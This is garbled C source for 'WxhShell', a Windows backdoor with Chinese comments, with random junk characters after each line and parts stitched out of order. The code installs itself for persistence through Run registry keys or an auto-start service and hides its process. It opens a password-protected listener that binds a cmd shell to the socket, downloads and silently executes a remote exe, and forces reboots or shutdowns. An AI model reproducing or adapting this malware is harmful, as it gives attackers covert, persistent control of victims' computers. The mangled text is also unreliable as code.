    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *%KIq/V  
    if(Boot(SHUTDOWN)) a#r{FoU{M8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  J3 Q_  
    else { kMch   
    closesocket(wsh); )f:i4.M  
    ExitThread(0); FJ~d&L\l  
    } /&#y-D_  
    break; I{(!h90  
    } lgU!D |v  
  // 获取shell cHFW"g78  
  case 's': { ) >FAtE   
    CmdShell(wsh); "PI;/(kR  
    closesocket(wsh); Ex p ?x  
    ExitThread(0); {\1bWr8!U  
    break; hTn"/|_SW  
  } jerU[3  
  // 退出 Y%"$v0D  
  case 'x': { > U?\WgE$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )9yQ C  
    CloseIt(wsh); 6J,h}S  
    break; a pa&'%7  
    } iLSUz j`  
  // 离开 <7J3tn B  
  case 'q': { 2w7$"N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3O$l;|SX  
    closesocket(wsh); `Uz.9_6  
    WSACleanup(); wz:e\ !  
    exit(1); d5gwc5X  
    break; NzQvciJ@"  
        } }?Y -I> w  
  } EZB0qZIp  
  } ~&)\8@2  
O pu*i  
  // 提示信息 M,H8ZO:R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _r3Y$^!U  
} 2v ~8fr4  
  } ,nteIR'??  
u?72]?SM  
  return; K _VIk'RB  
} <pb  
_D4qnb@  
// shell模块句柄 pE<a:2J  
int CmdShell(SOCKET sock) .2@T|WD!Ah  
{ 49*f=gpGj2  
STARTUPINFO si; !ZUUn*e{5  
ZeroMemory(&si,sizeof(si)); |(%<FY$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t^":.}[Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D|ze0A@  
PROCESS_INFORMATION ProcessInfo; i;%G Z8  
char cmdline[]="cmd"; /(s |'"6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2: gh q  
  return 0; -"nkC  
} IwnDG;+Ap  
S,:!H@~B  
// 自身启动模式 1w7tRw  
int StartFromService(void) G^d3$7  
{ /P,1KVQPh  
typedef struct 7/<~s]D[%  
{ TzaeE  
  DWORD ExitStatus; e#HPU  
  DWORD PebBaseAddress; =A6*;T"W  
  DWORD AffinityMask; kQ\ $0=6N9  
  DWORD BasePriority; t!rrYBSCr  
  ULONG UniqueProcessId; -r cEG!  
  ULONG InheritedFromUniqueProcessId; E6~VHQa2?  
}   PROCESS_BASIC_INFORMATION; }~@/r5Zl  
Lf%3-P  
PROCNTQSIP NtQueryInformationProcess; n^[a}DX0  
a%`Yz"<lQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^x O](,H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y[7prjd  
H[KX xNYZ_  
  HANDLE             hProcess; tP|/Q 5s  
  PROCESS_BASIC_INFORMATION pbi; KU$,{Sn6@  
QY)p![6Fj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PzKTEYJL  
  if(NULL == hInst ) return 0; u|IS7>Sm  
`"CA$Se8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *Ze0V9$'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )KFxtM-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c+3(|k-M  
JR `$t~0t  
  if (!NtQueryInformationProcess) return 0; xwD`R *  
>|%3j,<U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [6l0|Y  
  if(!hProcess) return 0; F;#$Q  
Y }VJ4!%U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }'wZ)N@  
Lm}.+.O~d  
  CloseHandle(hProcess); ?=Ceo#Er  
-b!Z(}JK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^)]U5+g?  
if(hProcess==NULL) return 0; y_L8i[  
yrEh5v:  
HMODULE hMod; }@6Ze$ >  
char procName[255]; QD%xmP  
unsigned long cbNeeded; 4$VDJ  
5 OWyxO3{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ++b[>};  
k vZw4Pk  
  CloseHandle(hProcess); >U* p[FGW  
5;KJ0N*-  
if(strstr(procName,"services")) return 1; // 以服务启动 -51LF=(!L  
NL:-3W7vf  
  return 0; // 注册表启动 $>#0RzU  
} ' :_9o5I  
ktfm  
// 主模块 .:&`PaMt  
int StartWxhshell(LPSTR lpCmdLine) mTu>S  
{ 9+9g(6  
  SOCKET wsl; \9`E17i  
BOOL val=TRUE; V. i{IW  
  int port=0; &X:;B'   
  struct sockaddr_in door; =M-=94  
v zs4tkG  
  if(wscfg.ws_autoins) Install(); fWJpy#/^*K  
toGd;2rl  
port=atoi(lpCmdLine); ?0:]% t18  
t!3s@  
if(port<=0) port=wscfg.ws_port; O#;sY`fy_M  
`oNJ=,p  
  WSADATA data; %bTuE' `b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4Lg ,J9  
sDNWB_~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \;MP|:{pU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r}qDvC D  
  door.sin_family = AF_INET; py\:u5QS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qqg.z-G%.  
  door.sin_port = htons(port); g|uyQhsg  
!D['}%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #%QHb,lhl  
closesocket(wsl); G?@W;o)  
return 1; }I uqB*g[t  
} }&/>v' G  
nxhlTf>3  
  if(listen(wsl,2) == INVALID_SOCKET) { d@ 8M_ O |  
closesocket(wsl); :AlvWf$d  
return 1; !dwZ`D  
} nG4ZOx.*1g  
  Wxhshell(wsl); mWZP.w^-  
  WSACleanup(); 'i$. _Tx  
BAXu\a-C_  
return 0; (/$-2.@  
Y _`JS;  
} '|=Pw  
?WXftzdf6u  
// 以NT服务方式启动 S|| W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EGgw#JAi#t  
{ D)x^?!  
DWORD   status = 0; ^k7I+A  
  DWORD   specificError = 0xfffffff; @4UX~=:686  
hK)'dG*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3}s]F/e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n*$g1HG6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /UK?&+1qE  
  serviceStatus.dwWin32ExitCode     = 0; wG MhKZE  
  serviceStatus.dwServiceSpecificExitCode = 0; qvu1u GCc  
  serviceStatus.dwCheckPoint       = 0; mvH8hvD9  
  serviceStatus.dwWaitHint       = 0; ?3K~4-!? /  
$\*Z   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); glCpA$;VPu  
  if (hServiceStatusHandle==0) return; az![u)  
(N&i4O-I  
status = GetLastError(); .9e5@@VR  
  if (status!=NO_ERROR) Wap4:wT  
{ Vx.c`/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X<IW5*   
    serviceStatus.dwCheckPoint       = 0; oS$7k3s fj  
    serviceStatus.dwWaitHint       = 0; :(ql=+vDb4  
    serviceStatus.dwWin32ExitCode     = status; D$4GNeB+#  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'z,kxra|n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "{~FEx4  
    return; ]cP%d-x}  
  } zAM9%W2v_  
*w0|`[P+h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *(5;5r  
  serviceStatus.dwCheckPoint       = 0; @!oN]0`F;  
  serviceStatus.dwWaitHint       = 0; V  H`_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9;%$  
} i[9gcL"  
@,1_CqV  
// 处理NT服务事件,比如:启动、停止 %T>@Ldt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `lE&:)  
{ I~F&@  
switch(fdwControl) ,nL~?h-Zh  
{ `AE6s.p?  
case SERVICE_CONTROL_STOP: \^,Jh|T  
  serviceStatus.dwWin32ExitCode = 0; >;Oa|G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C)FO:lLr\  
  serviceStatus.dwCheckPoint   = 0; #2i$:c~  
  serviceStatus.dwWaitHint     = 0; lz>00B<Z  
  { Bj4c_YBte  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vkJyD/;=  
  } `:7r5}(^  
  return; kM4z %  
case SERVICE_CONTROL_PAUSE: e@V J-s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |DW^bv  
  break; BMO,eQcB  
case SERVICE_CONTROL_CONTINUE: XdDQ$'*X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SujEF` "  
  break; VtzZ1/J E  
case SERVICE_CONTROL_INTERROGATE: &TRKd)wd  
  break; aWimg6q  
}; |-vyhr 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0vLx={i  
} 1J1Jp|j.  
*A!M0TK?i,  
// 标准应用程序主函数 A4(L47^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r6\g #}  
{ DZL(G [  
i 7T#WfF  
// 获取操作系统版本 }2S!;swg+  
OsIsNt=GetOsVer(); !]s=9(O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <<S4l~"o  
cd,'37pZ  
  // 从命令行安装 cHr]{@7Cs  
  if(strpbrk(lpCmdLine,"iI")) Install(); YIW9z{rrs  
bE% Hm!  
  // 下载执行文件 'X+aYF }Ye  
if(wscfg.ws_downexe) { H#GR*4x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pW8?EGO@  
  WinExec(wscfg.ws_filenam,SW_HIDE); (9( xJ)  
} %P1zb7:8  
f 5bX,e)!  
if(!OsIsNt) { Y<POdbg  
// 如果时win9x,隐藏进程并且设置为注册表启动 z5({A2q  
HideProc(); hoBFC1  
StartWxhshell(lpCmdLine); l+6@,TY1U  
} 4J,6cOuW4  
else M6MxY\uM  
  if(StartFromService()) mQ}\ptdfV  
  // 以服务方式启动 Eyf17  
  StartServiceCtrlDispatcher(DispatchTable); 74 ptd,  
else 0P$19T N  
  // 普通方式启动 D_<B^3w )  
  StartWxhshell(lpCmdLine); JfJ ln[  
yD3vq}U!  
return 0; M.5F|7  
} sCy.i/y  
YRZw|H{>t  
F ! v01]O  
p=[dt  
=========================================== O<!^^7/h0  
5[zr(FuE  
A<H]uQ>  
nUONI+6Z/  
S|u5RU8*"|  
|af<2(d  
" ;QuxTmWp^  
6k,@+ @]t.  
#include <stdio.h> 0|va}m`<3G  
#include <string.h> _`QMEr?  
#include <windows.h> jyg>'"W  
#include <winsock2.h> 4ybOK~z  
#include <winsvc.h> W{ozZuo  
#include <urlmon.h> AS0(NlV  
_kOuD}_|  
#pragma comment (lib, "Ws2_32.lib") )I<VH +6  
#pragma comment (lib, "urlmon.lib") |'i ?o  
Jnt r"a-4  
#define MAX_USER   100 // 最大客户端连接数 tMf5TiWu@  
#define BUF_SOCK   200 // sock buffer Rbm+V{EF&  
#define KEY_BUFF   255 // 输入 buffer 6"?#s/fk  
lKI]q<2  
#define REBOOT     0   // 重启 0=`aXb-  
#define SHUTDOWN   1   // 关机 z}5'TV=^  
@AG=Eq9<o  
#define DEF_PORT   5000 // 监听端口 yF` ( GU  
!Y^$rF-+  
#define REG_LEN     16   // 注册表键长度 &e[Lb:Uk)  
#define SVC_LEN     80   // NT服务名长度 .*EP$pc  
K24y;968  
// 从dll定义API Q4ii25]*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *Z"Kvj;>u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /Jk.b/t.*S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c:z}$DK&'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y=pRenV'  
6*ZZ)W<  
// wxhshell配置信息 Tig6<t+Q  
struct WSCFG { ,,9vk\  
  int ws_port;         // 监听端口 Qw% 0<~<  
  char ws_passstr[REG_LEN]; // 口令 3_VWtGQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no Vyx&MU.-J  
  char ws_regname[REG_LEN]; // 注册表键名 jq/{|<0  
  char ws_svcname[REG_LEN]; // 服务名 &xlOsr/n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d9 8pv%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v Ma$JPauI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 71&`6#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rUiUv(q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =g@hh)3wP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U/(R_U>=  
yCg>]6B  
}; H<b4B$/  
4f0dc\$  
// default Wxhshell configuration GEb)nHQq  
struct WSCFG wscfg={DEF_PORT, WWTJ%Rd|  
    "xuhuanlingzhe", yNx"Ey dk`  
    1, XnvaT(k7Y  
    "Wxhshell", 8{Svax(  
    "Wxhshell", I#p-P)Q%S  
            "WxhShell Service", )./'RE+(k  
    "Wrsky Windows CmdShell Service", 6B?1d /8V  
    "Please Input Your Password: ", 0j/i):@  
  1, ~ YZi"u  
  "http://www.wrsky.com/wxhshell.exe", 8>:2li  
  "Wxhshell.exe" HoM8V"8B  
    }; Q;1$gImFz  
}Ty_ } 6a5  
// 消息定义模块 DNM~/Oo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1G8t=IA%D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b;|^62  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eP3 itrH(  
char *msg_ws_ext="\n\rExit."; :\1&5Pm]  
char *msg_ws_end="\n\rQuit."; 9Bmgz =8  
char *msg_ws_boot="\n\rReboot..."; JeCEj=_Z  
char *msg_ws_poff="\n\rShutdown..."; L/cbq*L  
char *msg_ws_down="\n\rSave to "; %^ E>~  
`[1]wV5(5@  
char *msg_ws_err="\n\rErr!"; Md m(xUs  
char *msg_ws_ok="\n\rOK!";  })w5`?Y  
a-DE-V Uls  
char ExeFile[MAX_PATH]; :Ws3+OI'm3  
int nUser = 0; *KV] MdS  
HANDLE handles[MAX_USER]; qdu:kA:]  
int OsIsNt; 1-gX=8]]  
WI'csM;M#  
SERVICE_STATUS       serviceStatus; ma* 9O |v^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4';['  
X}bgRzj  
// 函数声明 <~8W>Y\m  
int Install(void); tv|=`~Y  
int Uninstall(void); )ZmE"  
int DownloadFile(char *sURL, SOCKET wsh); +V\NMW4d  
int Boot(int flag); -XY]WWlq  
void HideProc(void); (/Y gcT  
int GetOsVer(void); &c@I4RV|q  
int Wxhshell(SOCKET wsl); ZNA?`Z)f  
void TalkWithClient(void *cs); ?,),%JQ  
int CmdShell(SOCKET sock); ]g+(#x_.?  
int StartFromService(void); IweQB}d  
int StartWxhshell(LPSTR lpCmdLine); uTJ?@ ^nq  
Wj*6}N/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &k{@:z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y.oJzU[p%  
4Y/!V[  
// 数据结构和表定义 `RzM)ILl  
SERVICE_TABLE_ENTRY DispatchTable[] = FRF}V@~  
{ Ia"bP` L  
{wscfg.ws_svcname, NTServiceMain}, 6<~y!\4;F  
{NULL, NULL} u})JQ<|  
}; Zd%\x[f9ck  
-jw=Iyv  
// 自我安装 #5I "M WA  
int Install(void) XF$C)id2p  
{ BzUx@,  
  char svExeFile[MAX_PATH]; Gsh2  
  HKEY key; \%^3Izsc  
  strcpy(svExeFile,ExeFile); UX9o  
aH#|LrdJ  
// 如果是win9x系统,修改注册表设为自启动 V7v,)a" L  
if(!OsIsNt) { 4%{m7CK}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V)Xcn'h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5m3sjcp_  
  RegCloseKey(key); K=>/(s Wiq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U5PCj ]-Xt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8UZE C-K  
  RegCloseKey(key); Te/)[I'Tn  
  return 0; n C Z  
    } zC^Ib&gm>,  
  } ZqGq%8\.s  
} S9BJjo  
else { n(+:l'#HJ  
pVY.&XBZ$  
// 如果是NT以上系统,安装为系统服务 0&-sz=L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #,;k>2j0  
if (schSCManager!=0) ouI0"R&@  
{ M;bQid@BG  
  SC_HANDLE schService = CreateService *]=)mM#  
  ( m ;vNA  
  schSCManager, 5f5`7uVJF  
  wscfg.ws_svcname, yiUdUw/  
  wscfg.ws_svcdisp, uQNoIy J)  
  SERVICE_ALL_ACCESS, dA~6{*)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  h 2zCX  
  SERVICE_AUTO_START, sOW|TN>y\  
  SERVICE_ERROR_NORMAL, J.d `tiN  
  svExeFile, mB~&nDU  
  NULL, PrcM'Q  
  NULL, $p@g#3X`  
  NULL, {Q"<q`c  
  NULL, yC5|"+ A$  
  NULL 4c yv 8  
  ); *%e#)sn*  
  if (schService!=0) V+q RDQ  
  { >4E,_`3N  
  CloseServiceHandle(schService); z,EOyi  
  CloseServiceHandle(schSCManager); hg~fFj3ST  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Kna'5L5"  
  strcat(svExeFile,wscfg.ws_svcname); `xr%LsNn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4SrK]+|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^s*} 0  
  RegCloseKey(key); )wRD  
  return 0; { 1+H\ (v  
    } 2P}RZvUd  
  } #wyS?FP-  
  CloseServiceHandle(schSCManager); UTt#ltun?  
} ;rKYWj>IR  
} AQ5v`xE4  
xd3  
return 1; 2o/`8+eJu  
} Fqv5WoYVf  
qr 9 F  
// 自我卸载 [8w2U%}]  
int Uninstall(void) YB|9k)Z2[  
{ kes'q8k  
  HKEY key; ihVQ,Cth  
= !X4j3Cv  
if(!OsIsNt) { ZIp=JR8o$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EUkNh>U?  
  RegDeleteValue(key,wscfg.ws_regname); =)8Ct  
  RegCloseKey(key); (Wqhuw!u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K;l'IN"N  
  RegDeleteValue(key,wscfg.ws_regname); 'Ap 5Aq  
  RegCloseKey(key); \YS?}! 0  
  return 0; nz\fN?q  
  } <GN?J.B  
} De_</1Au!2  
} as4NvZ@+r  
else { F?kVW[h?q  
@El<"\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O|~'-^  
if (schSCManager!=0) xJhbGK  
{ `,Gk1~Wv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [ UJj*n  
  if (schService!=0) 8.':pY'8"  
  { C.-a:oQ[  
  if(DeleteService(schService)!=0) { o{p_s0IX;S  
  CloseServiceHandle(schService); Hi9z<l=$  
  CloseServiceHandle(schSCManager); 9_3M}|V$^e  
  return 0; &?6w 2[}  
  } \tx/!tA  
  CloseServiceHandle(schService); { )qP34rM  
  } ~tvoR&{I  
  CloseServiceHandle(schSCManager); GB3B4)cX4Y  
} >lmL  
} P1n@E*~V5  
Uj)]nJX  
return 1; DG=Ap:sl*$  
} h :R)KM  
rUjr'O0  
// 从指定url下载文件 Pa +BE[z  
int DownloadFile(char *sURL, SOCKET wsh) ,m,vo_Ub  
{ `t&;Yk]-L  
  HRESULT hr; C 5 UDez  
char seps[]= "/"; _4$DnQ6&  
char *token; ;g jp&g9Q  
char *file; 6,1|y%(f  
char myURL[MAX_PATH]; 5QJL0fc  
char myFILE[MAX_PATH]; /p0LtUMu  
us%RQ8=k  
strcpy(myURL,sURL); zQ}N mlk  
  token=strtok(myURL,seps); !++62Lf  
  while(token!=NULL) 8zWPb  
  { [Gy'0P(EQ  
    file=token; ~*[4DQ[\  
  token=strtok(NULL,seps); 5FI>T=QF  
  } iGLYM-  
c&-$?f r  
GetCurrentDirectory(MAX_PATH,myFILE); {2r7:nvR  
strcat(myFILE, "\\"); P*Sip?tdE  
strcat(myFILE, file); z_@zMLs  
  send(wsh,myFILE,strlen(myFILE),0); 6~W E#z_  
send(wsh,"...",3,0); o q)"1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V&v~kzLr+  
  if(hr==S_OK) T(^8ki  
return 0; wlg#c6#q  
else  22~X~=  
return 1; w tLM c  
:w%b w\}  
}  q)+ n2FM  
:OaQq@V  
// 系统电源模块 n9!3h?,g  
int Boot(int flag) [)>8z8'f  
{ mp3_n:R?  
  HANDLE hToken; [_b='/8  
  TOKEN_PRIVILEGES tkp; }Xv1KX'  
1iL xXd  
  if(OsIsNt) { }F6b ]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XF$]KA L0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T k&9Klo  
    tkp.PrivilegeCount = 1; %nf=[f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g8A{aHb1}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C)p<M H<  
if(flag==REBOOT) { %5?-g[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &W// Ox )f  
  return 0; iGVb.=)  
} 9?chCO(@  
else { .MARF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _4B iF?1  
  return 0; ^) ^|;C\`  
} W r7e_  
  } t`t:qko  
  else { 5XO'OSdYq  
if(flag==REBOOT) { eAKQR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q<[ke   
  return 0; }IkEyJsk  
} h_G Bx|c  
else { W;]U P$5l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FKnQwX.0  
  return 0; <D;Q8  
} bu]Se6%}  
} SliQwm5  
PFgjWp"Y  
return 1; QYw4kD}  
}  >E ;o"  
edk9Qd9  
// win9x进程隐藏模块 _XNR um4  
void HideProc(void) PG[O?l  
{ {)9HS~e T  
@<TZH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {&u7kWD|  
  if ( hKernel != NULL ) T^;Jz!e  
  { X3L[y\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }6,bq`MN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lWw!+[<:q1  
    FreeLibrary(hKernel); ^I~T$YjC '  
  } exEld  
(i0"hi  
return; \ +-hn  
}  zn;Hs]G  
$o$Ev@mi  
// 获取操作系统版本 jsi#l  
int GetOsVer(void) P| P fG=  
{ Iki+5  
  OSVERSIONINFO winfo; ) a\DS yr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #0<y0uJ(y  
  GetVersionEx(&winfo); _.*4Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $]U5  
  return 1; ]op^dW1;0_  
  else bo!]  
  return 0; ~eOj:H  
} {G1aAM\Hz  
1L=Qg4 H  
// 客户端句柄模块 \g:qQ*.  
int Wxhshell(SOCKET wsl) fy=C!N&/  
{ p2c=;5|/Q  
  SOCKET wsh; $N+ {r=  
  struct sockaddr_in client; +;wqX]SD&  
  DWORD myID; = EChH@3  
%OTA5  
  while(nUser<MAX_USER) d7tD|[(J  
{ SAE '?_  
  int nSize=sizeof(client); cvXI]+`<3\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +s(IQt  
  if(wsh==INVALID_SOCKET) return 1; Q'Kik5I  
FDd>(!>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E<#4G9O<  
if(handles[nUser]==0) ZR-s{2sl  
  closesocket(wsh); CBnouKc:  
else u"8;fS  
  nUser++; ~eV!!38 J  
  } CNRU"I+jU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cYWy\+  
s3_e7D ^H  
  return 0; Vkvb=  
} ) 4L%zl7  
V3A>Ag+^~  
// 关闭 socket /$Tl#   
void CloseIt(SOCKET wsh) |RAQ%VXm  
{ :CkR4J!m3  
closesocket(wsh); o=RqegL  
nUser--; _`X#c-J  
ExitThread(0); 2hwXWTSu  
} jPYe_y  
O *J_+6  
// 客户端请求句柄 |h=+&*(:  
void TalkWithClient(void *cs) T ^%n!t  
{ FH`'1iVH  
ADv"_bB:h  
  SOCKET wsh=(SOCKET)cs; W]yClx \  
  char pwd[SVC_LEN]; +G!jKta7B  
  char cmd[KEY_BUFF]; ;4/dk_~p]  
char chr[1]; D"x$^6`c}  
int i,j; F@K*T2uh  
q ~Q)'*m  
  while (nUser < MAX_USER) { d7_g u  
0n<(*bfW  
if(wscfg.ws_passstr) { w^due P7J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $uFh$f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,y8I)+  
  //ZeroMemory(pwd,KEY_BUFF); <jRFN&"h}  
      i=0; 6mF{ImbRbS  
  while(i<SVC_LEN) { {r].SrW9s9  
`J=1&ae{  
  // 设置超时 Mi/ &$" =  
  fd_set FdRead; ]Ic?:lKN  
  struct timeval TimeOut; V^`?8P8d  
  FD_ZERO(&FdRead); 4$?w D <  
  FD_SET(wsh,&FdRead); zOao&  
  TimeOut.tv_sec=8; inPdV9  
  TimeOut.tv_usec=0; SA(UD   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vh#Mp!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t;LX48 TQ  
ANFg]g.Az  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7dlKdKH  
  pwd=chr[0]; N7~)qqb  
  if(chr[0]==0xd || chr[0]==0xa) { rZ!Yi*? f  
  pwd=0; jI{~s]Q  
  break; /[20e1 w!  
  } &weY8\HD  
  i++; ( *9Ip  
    } X@yr$3vC  
e:$7^Y,U/  
  // 如果是非法用户,关闭 socket /Oggt^S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W) 33;E/}  
} K{ zCp6  
2GiUPtO&Gj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FM9X}%5nu9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :PFx&  
%l8*t$8  
while(1) { 4#@W;'  
ib(>vp$V  
  ZeroMemory(cmd,KEY_BUFF); SvX=isu!.  
U BhciZ  
      // 自动支持客户端 telnet标准   B|Fl ,55  
  j=0; uO ?Od  
  while(j<KEY_BUFF) { ]<8B-D?Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8NaL{j1`  
  cmd[j]=chr[0]; @ kJ0K  
  if(chr[0]==0xa || chr[0]==0xd) { w*<Y$hnBzF  
  cmd[j]=0; [:nx);\  
  break; >k&8el6h  
  } ^zaKO'KcV  
  j++; |-(IJG#)  
    } jJ*@5?A  
XdGpW  
  // 下载文件 z29qARiX  
  if(strstr(cmd,"http://")) { pK6e/eC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mfeMmKFu\  
  if(DownloadFile(cmd,wsh)) %ezb^O_6v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ggm2%|?X  
  else *3_f &Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e}'#Xv  
